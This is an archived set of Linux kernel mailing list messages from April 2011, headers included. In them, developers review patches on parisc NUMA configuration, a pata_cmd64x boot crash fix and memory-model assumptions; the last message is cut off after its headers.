Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Wed, 20 Apr 2011 17:40:43 +0900 (JST)
In-Reply-To: <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3604 gmane.linux.kernel.mm:61666 gmane.linux.kernel:1128901
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3604>

> > btw, x86 don't have an issue. Probably it's a reason why this issue=
 was neglected
> > long time.
> >
> > arch/x86/Kconfig
> > -------------------------------------
> > config ARCH_DISCONTIGMEM_ENABLE
> > =A0 =A0 =A0 =A0def_bool y
> > =A0 =A0 =A0 =A0depends on NUMA && X86_32
>=20
> That part makes me think the best option is to make parisc do
> CONFIG_NUMA as well regardless of the historical intent was.
>=20
>                         Pekka

This?

compile test only.

---
 arch/parisc/Kconfig            |    7 +++++++
 include/asm-generic/topology.h |    4 ----
 include/linux/topology.h       |    2 +-
 3 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 69ff049..0bf9ae8 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -229,6 +229,12 @@ config HOTPLUG_CPU
 	default y if SMP
 	select HOTPLUG
=20
+config NUMA
+	bool "NUMA support"
+	help
+	  Say Y to compile the kernel to support NUMA (Non-Uniform Memory
+	  Access).
+
 config ARCH_SELECT_MEMORY_MODEL
 	def_bool y
 	depends on 64BIT
@@ -236,6 +242,7 @@ config ARCH_SELECT_MEMORY_MODEL
 config ARCH_DISCONTIGMEM_ENABLE
 	def_bool y
 	depends on 64BIT
+	depends on NUMA
=20
 config ARCH_FLATMEM_ENABLE
 	def_bool y
diff --git a/include/asm-generic/topology.h b/include/asm-generic/topol=
ogy.h
index fc824e2..932567b 100644
--- a/include/asm-generic/topology.h
+++ b/include/asm-generic/topology.h
@@ -27,8 +27,6 @@
 #ifndef _ASM_GENERIC_TOPOLOGY_H
 #define _ASM_GENERIC_TOPOLOGY_H
=20
-#ifndef	CONFIG_NUMA
-
 /* Other architectures wishing to use this simple topology API should =
fill
    in the below functions as appropriate in their own <asm/topology.h>=
 file. */
 #ifndef cpu_to_node
@@ -60,8 +58,6 @@
 				 cpumask_of_node(pcibus_to_node(bus)))
 #endif
=20
-#endif	/* CONFIG_NUMA */

From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 10:35:11 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20110420103511.2242577e@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
	<20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
	<1303159802.7167.30.camel@mulgrave.site>
	<20110418222017.4e77fe05@lxorguk.ukuu.org.uk>
	<4DADF798.6010705@ru.mvista.com>
	<20110419221900.67528a07@lxorguk.ukuu.org.uk>
	<4DADFD2E.9070809@ru.mvista.com>
	<20110419222838.6a6f36aa@lxorguk.ukuu.org.uk>
	<1303254709.11237.34.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303292065 23670 80.91.229.12 (20 Apr 2011 09:34:25 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 09:34:25 +0000 (UTC)
Cc: Sergei Shtylyov <sshtylyov@mvista.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 11:34:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCTne-0007uK-BE
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 11:34:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753824Ab1DTJeR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 05:34:17 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:34695 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753823Ab1DTJeR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 05:34:17 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3K9ZBMp026175;
	Wed, 20 Apr 2011 10:35:12 +0100
In-Reply-To: <1303254709.11237.34.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3605 gmane.linux.ide:49353
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3605>

> +	struct pci_dev *bridge = pdev->bus->self;
> +	/* mobility split bridges don't report enabled ports correctly */
> +	int port_ok = !(bridge && bridge->vendor ==
> +			PCI_VENDOR_ID_MOBILITY_ELECTRONICS);
>  

The logic seems wrong even by inspection

port_ok will be 1 if it isn't a M/E bridge.

> +	/* check for enabled ports */
> +	pci_read_config_byte(pdev, CNTRL, &reg);
> +	if (port_ok)
> +		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");

If its *not* an ME bridge then print the warning ????


Otherwise looks right
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sergei Shtylyov <sshtylyov@mvista.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Wed, 20 Apr 2011 14:04:10 +0400
Lines: 111
Approved: news@gmane.org
Message-ID: <4DAEAF9A.1020704@ru.mvista.com>
References: <1303152147.7167.12.camel@mulgrave.site>	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>	 <1303159802.7167.30.camel@mulgrave.site>	 <20110418222017.4e77fe05@lxorguk.ukuu.org.uk>	 <4DADF798.6010705@ru.mvista.com>	 <20110419221900.67528a07@lxorguk.ukuu.org.uk>	 <4DADFD2E.9070809@ru.mvista.com>	 <20110419222838.6a6f36aa@lxorguk.ukuu.org.uk> <1303254709.11237.34.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303293958 1783 80.91.229.12 (20 Apr 2011 10:05:58 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 10:05:58 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Sergei Shtylyov <sshtylyov@mvista.com>,
	linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 12:05:51 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCUIA-0001NR-My
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 12:05:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752767Ab1DTKFu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 06:05:50 -0400
Original-Received: from mail-ww0-f42.google.com ([74.125.82.42]:51474 "EHLO
	mail-ww0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751899Ab1DTKFt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 06:05:49 -0400
Original-Received: by wwk4 with SMTP id 4so3885510wwk.1
        for <multiple recipients>; Wed, 20 Apr 2011 03:05:47 -0700 (PDT)
Original-Received: by 10.227.131.23 with SMTP id v23mr7329087wbs.53.1303293947568;
        Wed, 20 Apr 2011 03:05:47 -0700 (PDT)
Original-Received: from [192.168.2.2] ([91.79.79.135])
        by mx.google.com with ESMTPS id h11sm464204wbc.9.2011.04.20.03.05.44
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 03:05:45 -0700 (PDT)
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.15) Gecko/20110303 Thunderbird/3.1.9
In-Reply-To: <1303254709.11237.34.camel@mulgrave.site>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3606 gmane.linux.ide:49354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3606>

Hello.

On 20-04-2011 3:11, James Bottomley wrote:

>> Beats me then. Whatever - its easy enough to work around and avoid
>> exploding parisc and sparc so it definitely wants sorting

> OK, so are we all agreed on this (I'll split it up into the cosmetic
> libata piece and the cmd64x fix later)?

> James

> ---

> diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
> index f8380ce..b1b926c 100644
> --- a/drivers/ata/libata-sff.c
> +++ b/drivers/ata/libata-sff.c
> @@ -2447,13 +2447,18 @@ int ata_pci_sff_activate_host(struct ata_host *host,
>   		return -ENOMEM;
>
>   	if (!legacy_mode&&  pdev->irq) {
> +		int i;
> +
>   		rc = devm_request_irq(dev, pdev->irq, irq_handler,
>   				      IRQF_SHARED, drv_name, host);
>   		if (rc)
>   			goto out;
>
> -		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
> -		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
> +		for (i = 0; i < 2; i++) {
> +			if (ata_port_is_dummy(host->ports[i]))
> +				continue;
> +			ata_port_desc(host->ports[i], "irq %d", pdev->irq);

    Does this really makes any difference?

> diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
> index 905ff76..c39fd5a 100644
> --- a/drivers/ata/pata_cmd64x.c
> +++ b/drivers/ata/pata_cmd64x.c
> @@ -41,6 +41,9 @@
>   enum {
>   	CFR 		= 0x50,
>   		CFR_INTR_CH0  = 0x04,
> +	CNTRL		= 0x51,
> +		CNTRL_PRIMARY   = 0x04,
> +		CNTRL_SECONDARY = 0x08,

    Probably better to call them CNTRL_CH0 and CNTRL_CH1 to keep the naming in 
line with already existing one...

> @@ -328,9 +331,17 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
>   			.port_ops =&cmd648_port_ops
>   		}
>   	};
> -	const struct ata_port_info *ppi[] = {&cmd_info[id->driver_data], NULL };
> -	u8 mrdmode;
> +	const struct ata_port_info *ppi[] = {
> +		&cmd_info[id->driver_data],
> +		&cmd_info[id->driver_data],
> +		NULL
> +	};
> +	u8 mrdmode, reg;
>   	int rc;
> +	struct pci_dev *bridge = pdev->bus->self;
> +	/* mobility split bridges don't report enabled ports correctly */
> +	int port_ok = !(bridge && bridge->vendor ==
> +			PCI_VENDOR_ID_MOBILITY_ELECTRONICS);
>
>   	rc = pcim_enable_device(pdev);
>   	if (rc)
> @@ -354,6 +369,21 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
>   	mrdmode |= 0x02;	/* Memory read line enable */
>   	pci_write_config_byte(pdev, MRDMODE, mrdmode);
>
> +	/* check for enabled ports */
> +	pci_read_config_byte(pdev, CNTRL,&reg);
> +	if (port_ok)

    You mean !port_ok.

> +		dev_printk(KERN_NOTICE, &pdev->dev, "Mobility Bridge detected, ignoring CNTRL port enable/disable\n");
> +	/* 643 and 646 no UDMA, primary port always enabled */
> +	if (port_ok && id->driver_data > 1 &&  !(reg & CNTRL_PRIMARY)) {

    PCI0646U and later revisions on PCI0646 do have the primary port enable 
bit. The same about UltraDMA -- PCI0646U2 has it. Look at what cmd64x does in 
cmd64x_init_one()...

> diff --git a/include/linux/pci_ids.h b/include/linux/pci_ids.h
> index 4e2c915..7a0ac45 100644
> --- a/include/linux/pci_ids.h
> +++ b/include/linux/pci_ids.h
> @@ -608,6 +608,8 @@
>   #define PCI_DEVICE_ID_MATROX_G550	0x2527
>   #define PCI_DEVICE_ID_MATROX_VIA	0x4536
>
> +#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
> +

    The current trend seems to be to only define vendor/device IDs where they 
are used and not in pci_ids.h...

MBR, Sergei
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
	expand_upwards
Date: Wed, 20 Apr 2011 05:20:20 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20110420112020.GA31296@parisc-linux.org>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303298442 26991 80.91.229.12 (20 Apr 2011 11:20:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 11:20:42 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
	David Rientjes <rientjes@google.com>, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 13:20:36 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCVSV-0003hx-4x
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 13:20:35 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id D35898D0040; Wed, 20 Apr 2011 07:20:30 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 1923B8D0041; Wed, 20 Apr 2011 07:20:29 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 140D38D003B; Wed, 20 Apr 2011 07:20:28 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail138.messagelabs.com (mail138.messagelabs.com [216.82.249.35])
	by kanga.kvack.org (Postfix) with ESMTP id 46F358D0040
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 07:20:26 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: willy@parisc-linux.org
X-Msg-Ref: server-14.tower-138.messagelabs.com!1303298424!119333188!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [192.25.206.14]
X-SpamReason: No, hits=0.0 required=7.0 tests=
Original-Received: (qmail 21436 invoked from network); 20 Apr 2011 11:20:27 -0000
Original-Received: from palinux.external.hp.com (HELO mail.parisc-linux.org) (192.25.206.14)
  by server-14.tower-138.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 20 Apr 2011 11:20:27 -0000
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 1415A494006; Wed, 20 Apr 2011 05:20:21 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61682 gmane.linux.kernel:1128960 gmane.linux.ports.parisc:3607
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61682>

On Wed, Apr 20, 2011 at 10:34:23AM +0300, Pekka Enberg wrote:
> That part makes me think the best option is to make parisc do
> CONFIG_NUMA as well regardless of the historical intent was.

But it's not just parisc.  It's six other architectures as well, some
of which aren't even SMP.  Does !SMP && NUMA make any kind of sense?

I think really, this is just a giant horrible misunderstanding on the part
of the MM people.  There's no reason why an ARM chip with 16MB of memory
at 0 and 16MB of memory at 1GB should be saddled with all the NUMA gunk.

-- 
Matthew Wilcox				Intel Open Source Technology Centre
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Pekka Enberg <penberg@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 14:28:26 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	<BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	<20110420161615.462D.A69D9226@jp.fujitsu.com>
	<BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	<20110420112020.GA31296@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1303298915 29509 80.91.229.12 (20 Apr 2011 11:28:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 11:28:35 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Christoph Lameter <cl@linux.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 13:28:29 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCVa8-0007SF-KE
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 13:28:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754203Ab1DTL22 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 07:28:28 -0400
Original-Received: from mail-gy0-f174.google.com ([209.85.160.174]:64300 "EHLO
	mail-gy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752572Ab1DTL21 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 07:28:27 -0400
Original-Received: by gyd10 with SMTP id 10so157940gyd.19
        for <multiple recipients>; Wed, 20 Apr 2011 04:28:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=tt+ARHte1bwMiX8g3rQu9c4YIzubrB81iFKfUH184is=;
        b=ULY04eewOzfBRKVwpx/9RxK5sWArufNMk1E37+sGXlRSCIBtK+b9QptUqnWe0QkYfE
         BMJ++qyKqaQn0Ecy5+cZFnuwbklgCTUsOGXfsVJOzo82N5ssScuk2sQcTTkiqEt9mNtL
         DQnuh9QK1aUO8QsAqefT6fYOEqrGMIi2lGHAM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=B/G6bpU9NlhgZkhJibZ7Brl9bC7YCa3RUlBy4G0d8rJhJYS7yZPCDsW8MD5mY/l2l0
         NKfICjdjr6JN4/O8NB4sdQkJB/YugoBKoLmRTwf4wuf7KSLnw17k2UgxM4ViZ6muyTX1
         b6+lIN3b60Agi7V9NgVlP6QbYPLhhj8DEjbNo=
Original-Received: by 10.90.38.7 with SMTP id l7mr6166964agl.133.1303298906520; Wed, 20
 Apr 2011 04:28:26 -0700 (PDT)
Original-Received: by 10.100.10.3 with HTTP; Wed, 20 Apr 2011 04:28:26 -0700 (PDT)
In-Reply-To: <20110420112020.GA31296@parisc-linux.org>
X-Google-Sender-Auth: fr-Jl-L8jV6hWDnylkotoPCH8DY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3608 gmane.linux.kernel.mm:61683 gmane.linux.kernel:1128962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3608>

Hi Matthew,

On Wed, Apr 20, 2011 at 10:34:23AM +0300, Pekka Enberg wrote:
>> That part makes me think the best option is to make parisc do
>> CONFIG_NUMA as well regardless of the historical intent was.

On Wed, Apr 20, 2011 at 2:20 PM, Matthew Wilcox <matthew@wil.cx> wrote:
> But it's not just parisc. =A0It's six other architectures as well, so=
me
> of which aren't even SMP. =A0Does !SMP && NUMA make any kind of sense=
?

IIRC, we actually fixed SLAB or SLUB to work on such configs in the pas=
t.

On Wed, Apr 20, 2011 at 2:20 PM, Matthew Wilcox <matthew@wil.cx> wrote:
> I think really, this is just a giant horrible misunderstanding on the=
 part
> of the MM people. =A0There's no reason why an ARM chip with 16MB of m=
emory
> at 0 and 16MB of memory at 1GB should be saddled with all the NUMA gu=
nk.

Right. My point was simply that since x86 doesn't support DISCONTIGMEM
without NUMA, the misunderstanding is likely very wide-spread.

                       Pekka
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 08:50:15 -0500 (CDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104200847240.8634@router.home>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <1303267733.11237.42.camel@mulgrave.site> <20110420115804.461E.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303307434 14457 80.91.229.12 (20 Apr 2011 13:50:34 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 13:50:34 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
  Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
  Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
  linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
  linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
  Tejun Heo <tj@kernel.org>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 15:50:28 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCXnW-0008Vy-LH
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 15:50:26 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 5A0828D0041; Wed, 20 Apr 2011 09:50:24 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 270ED8D003B; Wed, 20 Apr 2011 09:50:23 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 21ABA8D0041; Wed, 20 Apr 2011 09:50:22 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail191.messagelabs.com (mail191.messagelabs.com [216.82.242.19])
	by kanga.kvack.org (Postfix) with SMTP id E235F8D003B
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 09:50:21 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
